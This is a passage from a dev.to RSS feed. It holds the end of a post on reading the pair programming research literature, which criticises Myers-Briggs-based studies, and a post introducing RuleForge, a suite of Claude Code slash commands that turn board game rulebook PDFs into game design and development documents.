&lt;p&gt;If there is ever a formal prize for contributions to software engineering research, the pair programming category should be named after her.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Questionable Corners of the Literature
&lt;/h2&gt;

&lt;p&gt;Not every paper in the pile earned its place gracefully.&lt;/p&gt;

&lt;p&gt;Some announced themselves with titles that made me wince before I even opened the PDF. You know the genre. A combination of buzzwords, a forced acronym, and a vague promise of insight that the abstract doesn't quite deliver on. I won't name names. But I have a folder.&lt;/p&gt;

&lt;p&gt;More substantively: a surprising amount of pair programming research is built on frameworks that the broader scientific community has quietly retired. &lt;strong&gt;Personality type taxonomies&lt;/strong&gt; are the main offender. Myers-Briggs in particular makes repeated appearances — studies earnestly classifying programmers into 16 types and drawing conclusions about pairing compatibility. The problem is that the psychometric foundation for these instruments has been thoroughly undermined. They're not useless as casual conversation tools, but basing empirical research claims on them is shaky ground.&lt;/p&gt;

&lt;p&gt;The same applies to some of the "introvert vs. extrovert" dichotomy work, which tends to treat personality as a binary switch rather than the distributed, context-dependent trait that modern personality psychology describes.&lt;/p&gt;

&lt;p&gt;This doesn't mean the research is worthless — often the observations are real even when the interpretive framework is suspect. But it does mean a lot of careful reading, and a lot of footnotes that essentially say: &lt;em&gt;the finding is interesting, the taxonomy it's hung on is not.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What 250–500 Papers Looks Like
&lt;/h2&gt;

&lt;p&gt;It looks like a lot of tabs.&lt;/p&gt;

&lt;p&gt;It also looks, honestly, like a field that is richer and more contested than its popular summary suggests. Pair programming is not simply "proven effective" or "proven ineffective." The evidence is contextual, domain-specific, experience-level-dependent, and shaped enormously by how you define and measure "effective" in the first place.&lt;/p&gt;

&lt;p&gt;That complexity is exactly why the book needs to exist. The practitioner literature tends toward confident prescriptions. The academic literature is full of hedges, replications, and contradictions that rarely make it into the conference talk or the blog post.&lt;/p&gt;

&lt;p&gt;The reference list is the honest accounting of that complexity. Every citation is a commitment: &lt;em&gt;I looked at this, I understand what it claims, and I'm representing it faithfully.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That's the job. It's slower than I expected. It's also more interesting.&lt;/p&gt;

</description>
      <category>pairprogramming</category>
      <category>writing</category>
      <category>research</category>
    </item>
    <item>
      <title>From Cardboard to Code</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Fri, 10 Apr 2026 22:43:15 +0000</pubDate>
      <link>https://dev.to/sebs/from-cardboard-to-code-29d5</link>
      <guid>https://dev.to/sebs/from-cardboard-to-code-29d5</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;The design challenge isn't understanding board games. It's turning prose rules into structures a software team can actually act on.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There are thousands of board games. Most of them contain fascinating design work: carefully balanced economies, elegant interaction models, loop structures refined over years of playtesting. Almost none of them exist as digital games. The barrier is real work — translating a 40-page rulebook into a game design document, a feature backlog, an architecture diagram, user stories — before a single line of code is written.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/sebs/ruleforge" rel="noopener noreferrer"&gt;RuleForge&lt;/a&gt; automates that translation. You hand it a PDF. It hands you a developer bundle.&lt;/p&gt;




&lt;h2&gt;
  
  
  What it actually does
&lt;/h2&gt;

&lt;p&gt;At its core, RuleForge is a suite of Claude Code slash commands stored in a &lt;code&gt;.claude/commands/&lt;/code&gt; directory. Each command is a focused AI workflow targeting one specific phase of the board-game-to-digital-game translation process. They can be run individually, or chained together through the main &lt;code&gt;/ruleforge&lt;/code&gt; pipeline command.&lt;/p&gt;

&lt;p&gt;The full pipeline runs 16 stages and produces a self-contained output directory scoped to the game — something like &lt;code&gt;output/catan/&lt;/code&gt; or &lt;code&gt;output/terraforming-mars/&lt;/code&gt; — filled with structured files ready for a development team.&lt;/p&gt;




&lt;h2&gt;
  
  
  The pipeline, step by step
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;/complexity-estimate&lt;/code&gt; — Quick pre-flight scan&lt;/strong&gt;&lt;br&gt;
Before committing to the full pipeline, get a fast complexity estimate. How long is the rulebook? How many mechanics? Is this a 20-minute job or a 2-hour one?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;/ruleforge&lt;/code&gt; — Full pipeline, PDF to developer bundle&lt;/strong&gt;&lt;br&gt;
The main event. Extracts rules, identifies mechanics, generates the game loop diagram, writes the GDD, builds the feature list, creates user stories, outputs architecture diagrams. Resumable if interrupted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. &lt;code&gt;/card-database&lt;/code&gt; + &lt;code&gt;/economy-flow&lt;/code&gt; — Domain-specific extraction&lt;/strong&gt;&lt;br&gt;
Card-heavy games need their component databases structured. Economy-driven games need their resource flows mapped — sources, sinks, conversions. These commands go deeper on those specific concerns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. &lt;code&gt;/accessibility-audit&lt;/code&gt; — Check for digital barriers&lt;/strong&gt;&lt;br&gt;
Audits the extracted design across five accessibility dimensions: visual, motor, cognitive, hearing, and communication. Digital ports are an opportunity to do better than the physical original.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. &lt;code&gt;/realtime-forge&lt;/code&gt; — Translate to interactive game design&lt;/strong&gt;&lt;br&gt;
The big leap. Takes the RuleForge output and translates it into a real-time or interactive digital game design — covering analysis, a revised GDD, architecture, balance sheets, asset specifications, and prototype prompts. Seven waves, roughly 30 output files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. &lt;code&gt;/dev-bundle&lt;/code&gt; — Validate and package&lt;/strong&gt;&lt;br&gt;
Validates all output files including Mermaid diagram syntax, checks for completeness, and packages everything into a clean bundle ready to hand off.&lt;/p&gt;




&lt;h2&gt;
  
  
  The full command library
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Extraction &amp;amp; Analysis
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/extract-rules&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Parse and summarize the rules from a PDF. The raw input layer.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/identify-mechanics&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Classify game mechanics across 25 standard types — Worker Placement, Deck Building, Area Control, Engine Building, and so on.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/game-loop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Generate a Mermaid diagram of atomic, primary, secondary, and tertiary game loops.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/validate-loop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Check the game loop for structural soundness and state reachability. Catches design dead ends.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/adaptation-gap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Report on how much work a digital port actually requires — No Change / Simple Adaptation / Redesign.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/flag-ambiguities&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Surface rules that are unclear, contradictory, or likely to cause bugs when implemented.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/confidence-score&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Self-assessment of extraction quality. Useful for knowing when to do a manual review.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Design &amp;amp; Documentation
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/generate-gdd&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full Game Design Document. Chunked automatically for complex games.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/balance-sheet&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Extract balance parameters with digital annotations and sensitivity analysis.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/feature-list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Prioritized feature list output as both CSV and Markdown, with a dependency diagram.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/user-stories&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;User stories with granularity selector and acceptance criteria. Outputs to Stories.csv.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/onboarding-design&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Tutorial and onboarding flow design — how a new player learns the game digitally.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/interaction-model&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Component interaction model — how game entities relate to and affect each other.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Architecture &amp;amp; Prototyping
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/architecture-diagram&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;System architecture in Mermaid. Supports Unity, Godot, Phaser, Web, or generic targets.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/prototype-prompts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AI prototyping prompts for Rosebud, v0, Bolt, Lovable, or generic tooling.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/economy-flow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Resource economy diagram — where resources come from, where they go, and how they convert.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/card-database&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Extracts individual card, tile, or component data into a structured database.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Standalone Utilities
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/game-mixer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Blend mechanics from two or more games into hybrid designs, with iteration support.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/decompose-idea&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Break down a game idea using a 7-category ludemic framework.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/ludeme-generator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Generate a Ludii game description file (.lud) from a concept.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/game-fitness&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Analyze a game concept across 6 fitness dimensions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/playtest-design&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Design an automated playtesting plan with fitness functions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/procedural-generator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Design procedural generation systems using the Watson et al. (2008) workflow.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/game-comparison&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Side-by-side comparison of two RuleForge extractions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/pdf-to-markdown&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Convert any PDF to clean, well-structured Markdown. Useful as a standalone tool.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  The output structure
&lt;/h2&gt;

&lt;p&gt;Every skill writes into a game-scoped directory under &lt;code&gt;output/&lt;/code&gt;. The game slug is derived automatically from the title in the rulebook. A &lt;code&gt;.context.json&lt;/code&gt; metadata file lets downstream commands pick up where upstream ones left off — that's what makes the pipeline resumable.&lt;/p&gt;

&lt;p&gt;A typical output for something like Terraforming Mars would contain a GDD, a feature CSV, a user stories CSV, Mermaid files for the game loop and architecture, a balance sheet, an onboarding flow design, and prototype prompts ready to paste into your AI prototyping tool of choice.&lt;/p&gt;




&lt;h2&gt;
  
  
  The solo dungeon bash
&lt;/h2&gt;

&lt;p&gt;The repository also ships a &lt;code&gt;solo-dungeon-bash/&lt;/code&gt; directory — a worked example of the pipeline in action on a solo dungeon-crawl game. It's useful both as a reference output and as a test case to understand what the extraction quality actually looks like on a real game with real rules.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why slash commands, not a CLI tool?
&lt;/h2&gt;

&lt;p&gt;This is a deliberate choice. Claude Code's slash command system makes each step conversational and inspectable. You can run &lt;code&gt;/identify-mechanics&lt;/code&gt;, read the output, decide the model missed a nuance, correct it manually, and then continue with &lt;code&gt;/game-loop&lt;/code&gt;. That feedback loop would be much harder to preserve in a fully automated CLI pipeline.&lt;/p&gt;

&lt;p&gt;It also means the tool is essentially zero-setup. Clone the repo, point Claude Code at the directory, and the commands are available. No build step, no package install, no configuration.&lt;/p&gt;




&lt;h2&gt;
  
  
  Get started
&lt;/h2&gt;

&lt;p&gt;The project is on GitHub at &lt;a href="https://github.com/sebs/ruleforge" rel="noopener noreferrer"&gt;github.com/sebs/ruleforge&lt;/a&gt;. Clone it, drop a rulebook PDF next to it, and start with &lt;code&gt;/complexity-estimate path/to/your-game.pdf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The design is intentionally modular — you don't have to run the full pipeline. If you just need a GDD from a rulebook, run &lt;code&gt;/generate-gdd&lt;/code&gt;. If you want to compare two games, run &lt;code&gt;/game-comparison&lt;/code&gt;. Each command is independently useful.&lt;/p&gt;

&lt;p&gt;Board games are some of the most densely designed interactive systems humans have made. RuleForge is a bet that those designs are worth bringing into software — and that AI can do a lot of the translation work.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>gamedev</category>
      <category>gamedesign</category>
    </item>
  </channel>
</rss>
